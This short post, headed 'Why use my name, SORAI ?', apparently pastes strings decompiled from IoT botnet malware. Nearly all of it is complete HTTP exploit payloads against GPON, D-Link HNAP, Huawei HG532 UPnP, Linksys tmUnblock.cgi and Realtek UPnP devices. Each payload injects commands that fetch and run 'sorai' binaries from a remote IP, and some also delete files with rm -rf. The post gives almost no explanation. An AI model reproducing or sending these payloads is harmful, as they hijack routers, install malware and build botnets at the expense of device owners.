Why use my name, SORAI ?

  *(int32_t *)(v22 - 12) = (int32_t)"GET /login.cgi?cli=aa%20aa%27;wget%20http://45.67.14.194/xo/gpon%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: Sorai/2.0\r\n\r\n";


POST /GponForm/diag_Form?style/ HTTP/1.1\r\nUser-Agent: Hello, World\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.67.14.194/xo/gpon+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0";

"POST /HNAP1/ HTTP/1.0\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nSOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.67.14.194/xo/sorai.mips && chmod +x sorai.mips;./sorai.mips hnap`\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><AddPortMapping xmlns=\"http://purenetworks.com/HNAP1/\"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>\r\n\r\n";

"POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 45.67.14.194 -l /tmp/sorai.mips -r /xo/sorai.mips; /bin/busybox chmod 777 * /tmp/sorai.mips; /tmp/sorai.mips selfrep.Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n\r\n";

*(int32_t *)(v82 + 20) = (int32_t)"POST /tmUnblock.cgi HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: Sorai\r\nContent-Length: 227\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+sorai.mpsl%3B+wget+http%3A%2F%2F45.67.14.194%2Fxo%2Fsorai.mpsl%3B+chmod+777+sorai.mpsl%3B+.%2Fsorai.mpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

 *(int32_t *)(g9 + 20) = (int32_t)"POST /picsdesc.xml HTTP/1.1\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: /\r\nUser-Agent: Hello-World\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope//\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var/; wget http://45.67.14.194/xo/sorai.mips; chmod +x sorai.mips; ./sorai.mips loader.realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n";